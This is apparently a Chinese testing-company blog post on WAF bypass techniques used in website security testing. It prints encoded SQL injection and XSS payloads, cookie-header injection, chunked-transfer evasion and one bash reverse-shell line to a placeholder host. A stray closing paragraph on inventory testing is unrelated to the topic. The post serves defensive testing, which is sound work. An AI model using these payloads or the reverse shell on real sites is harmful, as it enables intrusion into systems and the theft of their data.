测试动态 / 测试知识 / 网站测试安全部分:WEB 应用防火墙(WAF)绕过技术
网站测试安全部分:WEB 应用防火墙(WAF)绕过技术
2025-08-19 作者:cwb 浏览次数:7

做网站安全测试时,WEB 应用防火墙(WAF)是绕不开的一环 —— 它就像网站的 “守门人”,专门拦截 SQL 注入、XSS 跨站脚本这些常见攻击。可不少企业觉得装了 WAF 就万事大吉,却不知道黑客早有各种绕过技术,能悄悄突破这道防线。网站安全测试的核心,就是提前模拟这些绕过手段,找出 WAF 的防护漏洞,不然真等攻击来了,WAF 可能只是 “纸老虎”。

WAF 绕过技术里,最常见的就是 “攻击载荷变形”。比如针对 SQL 注入,黑客不会直接用 “union select” 这种明晃晃的关键词,而是会拆分成 “uni%6Fn se%6Cect”(用 URL 编码替换部分字符),或者插入注释符 “union/abc/select”,很多 WAF 如果只识别固定关键词,就会漏掉这种变形后的攻击。网站测试时,就得模拟这种思路:把常见攻击载荷用 URL 编码、Unicode 编码、HTML 实体编码反复变形,甚至混合多种编码方式,看 WAF 能不能识破。还有 XSS 攻击,黑客会把脚本 “<script>alert(1)</script>” 改成 “<scr<script>ipt>alert(1)</scr</script>ipt>”(插入嵌套标签),或者用事件触发 “<img src=x onerror=alert(1)>”,这些变形手段都得在测试中逐一验证,才能知道 WAF 的关键词识别是不是真的全面。

“HTTP 协议特性利用” 也是绕开 WAF 的常用招。比如有些 WAF 只检查 HTTP 请求的 “GET/POST” 参数,却忽略了 “Cookie”“Referer” 这些头信息,黑客就把攻击载荷藏在 Cookie 里,比如 “Cookie: user=1' and 1=2--”,悄悄发起 SQL 注入。还有的 WAF 对请求包的解析不完整,黑客就故意在请求头里加换行符、空格,或者用 “Transfer-Encoding: chunked” 分块传输数据,打乱 WAF 的解析节奏,让攻击载荷 “蒙混过关”。网站测试时,就得针对这些协议特性设计用例:把攻击载荷放在不同的请求头里,用分块传输发送异常请求,观察 WAF 是否能完整解析请求内容,而不是只盯着核心参数。

“业务逻辑绕过” 比技术变形更隐蔽,也更难防。比如某网站的 WAF 拦截 “批量删除用户” 的请求,黑客就不直接用 “delete=all”,而是利用业务逻辑里的 “分页漏洞”—— 每次删除 1 页数据,循环发送请求,最终实现批量删除的效果;还有的网站对 “登录接口” 防护很严,却对 “密码重置接口” 疏于防范,黑客就通过密码重置功能,绕开登录环节直接获取权限。这种绕过技术没法靠 WAF 的关键词拦截解决,得在网站测试时结合业务流程来测:梳理核心业务链路,比如用户管理、订单操作、数据查询,模拟黑客利用逻辑漏洞的场景,看 WAF 能不能识别 “正常请求包装下的恶意操作”,比如短时间内频繁发送密码重置请求,或者用低权限账号尝试访问高权限接口。

专业的网站安全测试,还会验证 “WAF 规则盲区”。比如有些 WAF 对新兴攻击手法的规则更新不及时,像 “Server-Side Request Forgery(SSRF)” 攻击,黑客通过网站发起对内部服务器的请求,获取敏感信息,很多早期 WAF 就没覆盖这种攻击的检测规则。还有 “远程代码执行(RCE)” 的变形载荷,比如用 “bash -i >& /dev/tcp/xxx/8080 0>&1” 这种系统命令,WAF 如果只关注 Web 层面的攻击,就会漏掉。测试时就得引入最新的攻击载荷库,比如结合 OWASP Top 10 的最新榜单,模拟这些新型攻击,看 WAF 是否存在规则滞后的问题。像持有 CMA、CNAS 资质的第三方软件测评机构,在做 WAF 测试时,还会结合最新的威胁情报,把黑客近期常用的绕过手法融入测试用例,确保测试覆盖的技术足够前沿。

别以为 WAF 是 “万能解药”,它的防护效果全看能不能挡住各种绕过技术。网站安全测试做 WAF 验证,不是要 “证明 WAF 没用”,而是要找出它的防护短板 —— 是关键词识别不全,还是协议解析有漏洞,或是业务逻辑没覆盖。只有把这些绕过场景都测透,才能针对性地优化 WAF 规则,比如补充编码变形的识别、完善请求头的检查、结合业务逻辑定制防护策略,让 WAF 真正成为网站的 “坚固防线”,而不是应付安全检查的 “摆设”。

别再觉得 “库存更新是小问题”,对依赖库存管理的企业来说,库存数据的实时性就是业务生命线。第三方软件测试做库存测试,本质上是替企业提前排查 “库存错乱” 的风险,确保无论在正常操作、高并发还是异常故障下,库存数量都能精准、实时更新。毕竟用户不会等你的库存 “慢慢同步”,业务也经不起 “超卖”“漏卖” 的损失 —— 只有经过专业库存测试的软件,才能真正守住库存数据的准确性,让业务运转更稳。

文章标签: 网站测试测评 网站测试 网站安全 网络安全
热门标签 换一换
软件崩溃 稳定性测试 API测试 API安全测试 网站测试测评 敏感数据泄露测试 敏感数据泄露 敏感数据泄露测试防护 课题软件交付 科研经费申请 软件网站系统竞赛 竞赛CMA资质补办通道 中学生软件网站系统CMA资质 大学生软件网站系统CMA资质 科研软件课题cma检测报告 科研软件课题cma检测 国家级科研软件CMA检测 科研软件课题 国家级科研软件 web测评 网站测试 网站测评 第三方软件验收公司 第三方软件验收 软件测试选题 软件测试课题是什么 软件测试课题研究报告 软件科研项目测评报告 软件科研项目测评内容 软件科研项目测评 长沙第三方软件测评中心 长沙第三方软件测评公司 长沙第三方软件测评机构 软件科研结项强制清单 软件课题验收 软件申报课题 数据脱敏 数据脱敏传输规范 远程测试实操指南 远程测试 易用性专业测试 软件易用性 政府企业软件采购验收 OA系统CMA软件测评 ERP系统CMA软件测评 CMA检测报告的法律价值 代码原创性 软件著作登记 软件著作权登记 教育APP备案 教育APP 信息化软件项目测评 信息化软件项目 校园软件项目验收标准 智慧软件项目 智慧校园软件项目 CSRF漏洞自动化测试 漏洞自动化测试 CSRF漏洞 反序列化漏洞测试 反序列化漏洞原理 反序列化漏洞 命令执行 命令注入 漏洞检测 文件上传漏洞 身份验证 出具CMA测试报告 cma资质认证 软件验收流程 软件招标文件 软件开发招标 卓码软件测评 WEB安全测试 漏洞挖掘 身份验证漏洞 测评网站并发压力 测评门户网站 Web软件测评 XSS跨站脚本 XSS跨站 C/S软件测评 B/S软件测评 渗透测试 网站安全 网络安全 WEB安全 并发压力测试 常见系统验收单 CRM系统验收 ERP系统验收 OA系统验收 软件项目招投 软件项目 软件投标 软件招标 软件验收 App兼容性测试 CNAS软件检测 CNAS软件检测资质 软件检测 软件检测排名 软件检测机构排名 Web安全测试 Web安全 Web兼容性测试 兼容性测试 web测试 黑盒测试 白盒测试 负载测试 软件易用性测试 软件测试用例 软件性能测试 科技项目验收测试 首版次软件 软件鉴定测试 软件渗透测试 软件安全测试 第三方软件测试报告 软件第三方测试报告 第三方软件测评机构 湖南软件测评公司 软件测评中心 软件第三方测试机构 软件安全测试报告 第三方软件测试公司 第三方软件测试机构 CMA软件测试 CNAS软件测试 第三方软件测试 移动app测试 软件确认测试 软件测评 第三方软件测评 软件测试公司 软件测试报告 跨浏览器测试 软件更新 行业资讯 软件测评机构 大数据测试 测试环境 网站优化 功能测试 APP测试 软件兼容测试 安全测评 第三方测试 测试工具 软件测试 验收测试 系统测试 测试外包 压力测试 测试平台 bug管理 性能测试 测试报告 测试框架 CNAS认可 CMA认证 自动化测试
专业测试,找专业团队,请联系我们!
咨询软件测试 400-607-0568